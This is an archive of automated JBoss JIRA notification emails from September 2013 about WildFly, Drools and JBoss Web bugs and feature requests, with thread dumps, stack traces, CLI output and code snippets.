> The line in question is here, in org.jboss.as.cli.handlers.GenericTypeOperationHandler:
> result = ctx.getModelControllerClient().execute(request);
> At the time of this call, the client field of the context is null; therefore, calling the execute method results in this NPE. This code is not hit with the /subsystem command because of some logic I see in CommandContextImpl.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:27:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Tue, 17 Sep 2013 18:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1885) ServiceActivator blocks
 server startup if more than 8 services - platformspecific
In-Reply-To: <JIRA.12498645.1376549515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498645.1376549515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498645.1376549515000.31569.1379456823396@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1885?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Fr?hbeck reopened WFLY-1885:
-----------------------------------



still the same behavior if >= 8 HASingletons to be started, server completely blocked:

 "EJB default - 10" prio=10 tid=0x00007fecd80de800 nid=0x3962 waiting for monitor entry [0x00007fec650ce000]
   java.lang.Thread.State: BLOCKED (on object monitor)
        at org.jboss.as.ejb3.component.singleton.SingletonComponent.getComponentInstance(SingletonComponent.java:125)
        - waiting to lock <0x00000000e695ea80> (a java.lang.Object)
        at org.jboss.as.ejb3.component.singleton.SingletonComponentInstanceAssociationInterceptor.processInvocation(SingletonComponentInstanceAssociationInterceptor.java:47)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.as.ejb3.component.interceptors.CurrentInvocationContextInterceptor.processInvocation(CurrentInvocationContextInterceptor.java:41)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.as.ejb3.component.interceptors.ShutDownInterceptorFactory$1.processInvocation(ShutDownInterceptorFactory.java:64)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.as.ee.component.NamespaceContextInterceptor.processInvocation(NamespaceContextInterceptor.java:50)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.as.ejb3.component.interceptors.AdditionalSetupInterceptor.processInvocation(AdditionalSetupInterceptor.java:55)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.invocation.ContextClassLoaderInterceptor.processInvocation(ContextClassLoaderInterceptor.java:64)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)

                
> ServiceActivator blocks server startup if more than 8 services - platformspecific
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1885
>                 URL: https://issues.jboss.org/browse/WFLY-1885
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering, Server
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Thomas Fr?hbeck
>            Assignee: Paul Ferraro
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>         Attachments: stack.log.gz
>
>
> We try to start more than 8 services by ServiceActivator.
> We follow hasingleton quickstart.
> Server startup is blocked on Linux but not on windows (?!?).
> If we introduce a delay of e.g. 1 second, all services start correctly also on Linux:
> public void activate(ServiceActivatorContext context) {
>   ESMSSingletonServiceBase<T> service = getSingletonService();
>   log.info("ESMSService will be installed: " + service.getSingletonServiceName());
>   SingletonService<String> singleton = new SingletonService<String>(service.getSingletonServiceName(), service);
>   singleton.build(new DelegatingServiceContainer(context.getServiceTarget(), context.getServiceRegistry()))
>     .addDependency(ServerEnvironmentService.SERVICE_NAME, ServerEnvironment.class, service.env)
>     .setInitialMode(ServiceController.Mode.ACTIVE).install();
>   // TODO: diesen Workaround evtl mal beheben. 
>   // (Server startet im Moment nicht anders... zumindest nicht auf Linux! Timingproblem?)
>   try {
> 	Thread.sleep(1000);
>   } catch (InterruptedException e) {}
> Thread dump of Linux blocked server attached

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 18:31:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Tue, 17 Sep 2013 18:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1885) ServiceActivator blocks
 server startup if more than 8 services - platformspecific
In-Reply-To: <JIRA.12498645.1376549515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498645.1376549515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498645.1376549515000.31574.1379457063931@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1885?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Fr?hbeck updated WFLY-1885:
----------------------------------

    Attachment: wildfly-Beta1_blocked_server_on_8_HASingletons.txt.gz


stackdump of blocked server - deadlock:

"EJB default - 1" prio=10 tid=0x00007fecd80fd800 nid=0x392f in Object.wait() [0x00007fec6c19c000]
   java.lang.Thread.State: WAITING (on object monitor)
        at java.lang.Object.wait(Native Method)
        - waiting on <0x00000000e69266d0> (a org.jboss.as.ejb3.component.singleton.SingletonComponent)
        at java.lang.Object.wait(Object.java:503)
        at org.jboss.as.ee.component.BasicComponent.waitForComponentStart(BasicComponent.java:108)
        - locked <0x00000000e69266d0> (a org.jboss.as.ejb3.component.singleton.SingletonComponent)
        at org.jboss.as.ee.component.BasicComponent.constructComponentInstance(BasicComponent.java:126)
        at org.jboss.as.ee.component.BasicComponent.createInstance(BasicComponent.java:84)
        at org.jboss.as.ejb3.component.singleton.SingletonComponent.getComponentInstance(SingletonComponent.java:126)
        - locked <0x00000000e695ea80> (a java.lang.Object)
        at org.jboss.as.ejb3.component.singleton.SingletonComponentInstanceAssociationInterceptor.processInvocation(SingletonComponentInstanceAssociationInterceptor.java:47)
        at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
        at org.jboss.as.ejb3.component.interceptors.CurrentInvocationContextInterceptor.processInvocation(CurrentInvo
                
> ServiceActivator blocks server startup if more than 8 services - platformspecific
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1885
>                 URL: https://issues.jboss.org/browse/WFLY-1885
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering, Server
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Thomas Fr?hbeck
>            Assignee: Paul Ferraro
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>         Attachments: stack.log.gz, wildfly-Beta1_blocked_server_on_8_HASingletons.txt.gz
>
>
> We try to start more than 8 services by ServiceActivator.
> We follow hasingleton quickstart.
> Server startup is blocked on Linux but not on windows (?!?).
> If we introduce a delay of e.g. 1 second, all services start correctly also on Linux:
> public void activate(ServiceActivatorContext context) {
>   ESMSSingletonServiceBase<T> service = getSingletonService();
>   log.info("ESMSService will be installed: " + service.getSingletonServiceName());
>   SingletonService<String> singleton = new SingletonService<String>(service.getSingletonServiceName(), service);
>   singleton.build(new DelegatingServiceContainer(context.getServiceTarget(), context.getServiceRegistry()))
>     .addDependency(ServerEnvironmentService.SERVICE_NAME, ServerEnvironment.class, service.env)
>     .setInitialMode(ServiceController.Mode.ACTIVE).install();
>   // TODO: diesen Workaround evtl mal beheben. 
>   // (Server startet im Moment nicht anders... zumindest nicht auf Linux! Timingproblem?)
>   try {
> 	Thread.sleep(1000);
>   } catch (InterruptedException e) {}
> Thread dump of Linux blocked server attached

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 18:31:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 17 Sep 2013 18:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-160) Improve trait @aliasing
	capabilities
In-Reply-To: <JIRA.12493545.1370355601000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493545.1370355601000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493545.1370355601000.31576.1379457064036@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-160?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805251#comment-12805251 ] 

Davide Sottara commented on DROOLS-160:
---------------------------------------

@alias will be simplified and disambiguated starting 5.6.x and up
a new TMS-oriented mode will be added to @Traitable() to support field traiting
                
> Improve trait @aliasing capabilities
> ------------------------------------
>
>                 Key: DROOLS-160
>                 URL: https://issues.jboss.org/browse/DROOLS-160
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1574) jboss-cli.sh throws
 IllegalArgumentException when using tab complete
In-Reply-To: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494883.1371828708000.31582.1379457303578@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1574?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805252#comment-12805252 ] 

RH Bugzilla Integration commented on WFLY-1574:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 977407|https://bugzilla.redhat.com/show_bug.cgi?id=977407] from MODIFIED to ON_QA
                
> jboss-cli.sh throws IllegalArgumentException when using tab complete
> --------------------------------------------------------------------
>
>                 Key: WFLY-1574
>                 URL: https://issues.jboss.org/browse/WFLY-1574
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha1
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha3
>
>
> When using tab complete to try and auto-fill values or get hints as to the allowed values for certain attributes, an IllegalArgumentException is thrown.
> Note: This issue also affects 7.2.0.Final 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1521) Deployment runtime-name is
 not being handled properly
In-Reply-To: <JIRA.12494184.1371128111000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494184.1371128111000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494184.1371128111000.31586.1379457543542@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1521?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805253#comment-12805253 ] 

RH Bugzilla Integration commented on WFLY-1521:
-----------------------------------------------

Paul Gier <pgier at redhat.com> made a comment on [bug 964446|https://bugzilla.redhat.com/show_bug.cgi?id=964446]

Carlo, is there any additional work that needs to be done on this issue?
                
> Deployment runtime-name is not being handled properly
> -----------------------------------------------------
>
>                 Key: WFLY-1521
>                 URL: https://issues.jboss.org/browse/WFLY-1521
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>             Fix For: 8.0.0.Alpha4
>
>
> In case archive is deployed with runtime name that does not match archive name, it breaks CLI/GUI commands.
> [standalone at localhost:9999 /] deploy --runtime-name=nnn.ear /home/baranowb/redhat/git/jboss-as-quickstart/ejb-in-ear/ear/target/jboss-as-ejb-in-ear-ear-xxxx.ear
> [standalone at localhost:9999 /] /deployment=jboss-as-ejb-in-ear-ear-xxxx.ear/subdeployment=jboss-as-ejb-in-ear-ejb.jar/subsystem=ejb3/stateful-session-bean=GreeterEJB:read-resource(include-runtime=true)
> {
>     "outcome" => "failed",
>     "rolled-back" => true
> }
> 14:05:23,235 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 3) JBAS014612: Operation ("read-attribute") failed - address: ([
>     ("deployment" => "jboss-as-ejb-in-ear-ear-xxxx.ear"),
>     ("subdeployment" => "jboss-as-ejb-in-ear-ejb.jar"),
>     ("subsystem" => "ejb3"),
>     ("stateful-session-bean" => "GreeterEJB")
> ]): org.jboss.msc.service.ServiceNotFoundException: Service service jboss.deployment.subunit."jboss-as-ejb-in-ear-ear-xxxx.ear"."jboss-as-ejb-in-ear-ejb.jar".component.GreeterEJB.START not found
>         at org.jboss.msc.service.ServiceContainerImpl.getRequiredService(ServiceContainerImpl.java:448) [jboss-msc-1.0.4.GA.jar:1.0.4.GA]
>         at org.jboss.as.controller.OperationContextImpl$OperationContextServiceRegistry.getRequiredService(OperationContextImpl.java:1068) [jboss-as-controller-7.2.2-internal-SNAPSHOT.jar:7.2.2-internal-SNAPSHOT]
>         at org.jboss.as.ejb3.subsystem.deployment.AbstractRuntimeMetricsHandler.executeRuntimeStep(AbstractRuntimeMetricsHandler.java:69)
>         at 
> ....
> However some seem unaffected:
> [standalone at localhost:9990 /] /deployment=jboss-as-ejb-in-ear-ear-xxxx.ear:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "content" => [{"hash" => bytes {
>             0x5c, 0x22, 0x14, 0x99, 0xff, 0x23, 0x45, 0xfc,
>             0x15, 0xaf, 0x1b, 0x97, 0x8c, 0x14, 0x75, 0x06,
>             0xa2, 0xeb, 0xfb, 0x58
>         }}],
>         "enabled" => true,
>         "name" => "jboss-as-ejb-in-ear-ear-xxxx.ear",
>         "persistent" => true,
>         "runtime-name" => "nnn.ear",
>         "subsystem" => undefined,
>         "subdeployment" => {
>             "jboss-as-ejb-in-ear-web.war" => undefined,
>             "jboss-as-ejb-in-ear-ejb.jar" => undefined
>         }
>     }
> }
> [standalone at localhost:9990 /] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1177) Recursive expression
	resolution
In-Reply-To: <JIRA.12489985.1366397228000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489985.1366397228000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489985.1366397228000.31594.1379457543938@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805254#comment-12805254 ] 

RH Bugzilla Integration commented on WFLY-1177:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 960820|https://bugzilla.redhat.com/show_bug.cgi?id=960820] from MODIFIED to ON_QA
                
> Recursive expression resolution
> -------------------------------
>
>                 Key: WFLY-1177
>                 URL: https://issues.jboss.org/browse/WFLY-1177
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Jess Sightler
>              Labels: rhq
>             Fix For: 8.0.0.Alpha1
>
>
> When resolving an expression, keep resolving until the output of the resolution matches the input.
> Use case:
> ${sys.prop.with.host.specific.value}
> resolves to
> ${VAULT::xxxxx}
> which resolves to
> thesecret
> Basically, the main mechanism for customizing domain-level configs on a per-host basis is to use expressions and use different values on each host. But this breaks down when a vault expression is added to the mix.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:41:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:41:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1754) Cannot restart webapp bundle
 after activation failure
In-Reply-To: <JIRA.12475717.1348831497000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12475717.1348831497000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12475717.1348831497000.31601.1379457664038@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1754?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805256#comment-12805256 ] 

RH Bugzilla Integration commented on WFLY-1754:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 959426|https://bugzilla.redhat.com/show_bug.cgi?id=959426] from MODIFIED to ON_QA
                
> Cannot restart webapp bundle after activation failure
> -----------------------------------------------------
>
>                 Key: WFLY-1754
>                 URL: https://issues.jboss.org/browse/WFLY-1754
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> {code}
> Caused by: java.lang.IllegalStateException
> 	at org.jboss.msc.value.InjectedValue.getValue(InjectedValue.java:47) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.as.connector.deployers.ra.processors.CachedConnectionManagerSetupProcessor$CachedConnectionManagerSetupAction.setup(CachedConnectionManagerSetupProcessor.java:74)
> 	at org.jboss.as.web.ThreadSetupBindingListener.bind(ThreadSetupBindingListener.java:50)
> 	at org.apache.catalina.core.StandardContext.bindThread(StandardContext.java:4234)
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3740)
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:102)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-165) It is possible to create
 broadcast group using non-existent connectors
In-Reply-To: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489687.1366192044000.31609.1379457783861@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-165?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805258#comment-12805258 ] 

RH Bugzilla Integration commented on WFLY-165:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 952566|https://bugzilla.redhat.com/show_bug.cgi?id=952566] from MODIFIED to ON_QA
                
> It is possible to create broadcast group using non-existent connectors
> ----------------------------------------------------------------------
>
>                 Key: WFLY-165
>                 URL: https://issues.jboss.org/browse/WFLY-165
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> It is possible to create broadcast group using non-existent connectors. It seems that validation is missing for add operation. This affects both CLI and Amin console, thus I suppose that problem is in underlying Management API. 
> Example:
> 1. Creation of new group with non-existent connectors "ab" and "ba" will succeed 
> [standalone at localhost:9999 /] /subsystem=messaging/hornetq-server=default/broadcast-group=foo:add(socket-binding=default, connectors=[ab,ba]) 
> {
>     "outcome" => "success",
>     "response-headers" => {
>         "operation-requires-reload" => true,
>         "process-state" => "reload-required"
>     }
> }
> 2. However if we try to change the value of connectors attribute to the very same value it will fail
>  
> /subsystem=messaging/hornetq-server=default/broadcast-group=foo:write-attribute(name=connectors,value=[ab,bc])
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS011680: The broadcast group 'foo' defines reference to nonexistent connector 'ab'. Available connectors '[netty, in-vm, netty-throughput]'.",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:45:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.31612.1379457903446@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805259#comment-12805259 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980] from MODIFIED to ON_QA
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 19:22:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 19:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-276) Using non-blocking thread
 pool causes excessive RejectedExecutionExceptions to be logged
In-Reply-To: <JIRA.12496743.1374112834000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496743.1374112834000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496743.1374112834000.31629.1379460123426@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805263#comment-12805263 ] 

RH Bugzilla Integration commented on JBWEB-276:
-----------------------------------------------

James Livingston <jlivings at redhat.com> made a comment on [bug 985191|https://bugzilla.redhat.com/show_bug.cgi?id=985191]

The fix should be in 7.2.2, which according to bug 995432 is in 6.1.1, so I would say yes.
                
> Using non-blocking thread pool causes excessive RejectedExecutionExceptions to be logged
> ----------------------------------------------------------------------------------------
>
>                 Key: JBWEB-276
>                 URL: https://issues.jboss.org/browse/JBWEB-276
>             Project: JBoss Web
>          Issue Type: Enhancement
>      Security Level: Public(Everyone can see) 
>    Affects Versions: JBossWeb-7.2.0.Beta1
>            Reporter: James Livingston
>            Assignee: Remy Maucherat
>         Attachments: JBWEB-276-1.patch, JBWEB-276-2.patch
>
>
> When a finite-queue thread pool is used to process web requests, the queue being full can either block or drop the request. If you use a pool which drops requests, a RejectedExecutionException is thrown.
> Currently JIoEndpoint catches that exception the same as other ones such as being unable to create threads. When using a non-blocking pool, the task being rejected is not a critical error like other exceptions so should not be logged at ERROR level.
> Under excessive load, these exception will be continuously generated as requests are dropped, which cases a large amount of logging. Setting it to DEBUG level would stop that, but it would hide the potentially useful messages by default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 19:24:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 19:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-276) Using non-blocking thread
 pool causes excessive RejectedExecutionExceptions to be logged
In-Reply-To: <JIRA.12496743.1374112834000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496743.1374112834000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496743.1374112834000.31632.1379460243387@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805264#comment-12805264 ] 

RH Bugzilla Integration commented on JBWEB-276:
-----------------------------------------------

James Livingston <jlivings at redhat.com> changed the Status of [bug 985191|https://bugzilla.redhat.com/show_bug.cgi?id=985191] from MODIFIED to CLOSED
                
> Using non-blocking thread pool causes excessive RejectedExecutionExceptions to be logged
> ----------------------------------------------------------------------------------------
>
>                 Key: JBWEB-276
>                 URL: https://issues.jboss.org/browse/JBWEB-276
>             Project: JBoss Web
>          Issue Type: Enhancement
>      Security Level: Public(Everyone can see) 
>    Affects Versions: JBossWeb-7.2.0.Beta1
>            Reporter: James Livingston
>            Assignee: Remy Maucherat
>         Attachments: JBWEB-276-1.patch, JBWEB-276-2.patch
>
>
> When a finite-queue thread pool is used to process web requests, the queue being full can either block or drop the request. If you use a pool which drops requests, a RejectedExecutionException is thrown.
> Currently JIoEndpoint catches that exception the same as other ones such as being unable to create threads. When using a non-blocking pool, the task being rejected is not a critical error like other exceptions so should not be logged at ERROR level.
> Under excessive load, these exception will be continuously generated as requests are dropped, which cases a large amount of logging. Setting it to DEBUG level would stop that, but it would hide the potentially useful messages by default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 19:28:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 17 Sep 2013 19:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2101) An exploded war inside an
 exploded ear is completely destroyed
In-Reply-To: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500873.1379455015000.31638.1379460483523@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2101?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2101:
------------------------------

    Assignee: Emmanuel Hugonnet  (was: David Lloyd)

    
> An exploded war inside an exploded ear is completely destroyed 
> ---------------------------------------------------------------
>
>                 Key: WFLY-2101
>                 URL: https://issues.jboss.org/browse/WFLY-2101
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Emmanuel Hugonnet
>
> Fix for WFLY-2028 completely overwrites files in deployment:
> private Closeable exportExplodedWar(final boolean war, final VirtualFile file) throws IOException {
>         if (war && !file.isFile()) {
>             File warContent = file.getPhysicalFile();
>             VFSUtils.recursiveCopy(file, warContent.getParentFile());
> if Write-protecting deployment, the following exception is thrown:
